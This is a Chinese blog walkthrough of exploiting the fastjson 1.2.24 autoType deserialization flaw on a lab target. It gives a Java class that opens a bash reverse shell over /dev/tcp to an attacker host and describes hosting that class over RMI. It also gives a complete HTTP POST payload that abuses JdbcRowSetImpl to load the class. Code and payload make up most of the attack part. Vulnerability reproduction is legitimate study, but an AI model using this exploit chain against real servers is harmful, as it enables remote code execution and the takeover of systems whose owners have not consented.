fastjson反序列化漏洞复现

1.2.24 命令执行

原理

FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

开个靶机

访问就说一个json格式返回的数据

这个回显就代表用了fastjson,可以测试这个漏洞

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

这就表示有这个漏洞

import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
   static {
       try {
                Runtime r = Runtime.getRuntime();
                Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机ip/端口 0>&1"});
                p.waitFor();
       } catch (Exception e) {
           // do nothing
       }
   }
}

这些东西写在一个java文件力,然后生成一个class文件

开启个http服务

开启RMI服务,将恶意类放到服务器上 

同时监听6666端口(在java中写入的是通过2233端口反弹shell)

向靶场服务器发送Payload,带上RMI的地址:

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"http://192.168.154.128:8888/TouchFile",
        "autoCommit":true
    }
}

发包

shell

jian

kang

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-04-21 06:22:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-21 06:22:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-21 06:22:02       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-21 06:22:02       20 阅读

热门阅读

  1. ChatGPT:携手完成功能论文写作

    2024-04-21 06:22:02       13 阅读
  2. Qt-控件篇

    2024-04-21 06:22:02       13 阅读
  3. Linux CPU火焰图

    2024-04-21 06:22:02       12 阅读
  4. C++知识点总结(30):递归进阶

    2024-04-21 06:22:02       10 阅读
  5. PostCSS详细介绍

    2024-04-21 06:22:02       14 阅读
  6. Phpstorm环境配置与应用

    2024-04-21 06:22:02       13 阅读
  7. RMAN oracle 11g

    2024-04-21 06:22:02       13 阅读
  8. python_4

    python_4

    2024-04-21 06:22:02      14 阅读
  9. python篇-load/loads dump/dumps的区别

    2024-04-21 06:22:02       13 阅读
  10. linux实用C++库之json

    2024-04-21 06:22:02       15 阅读
  11. appium控制手机一直从下往上滑动

    2024-04-21 06:22:02       12 阅读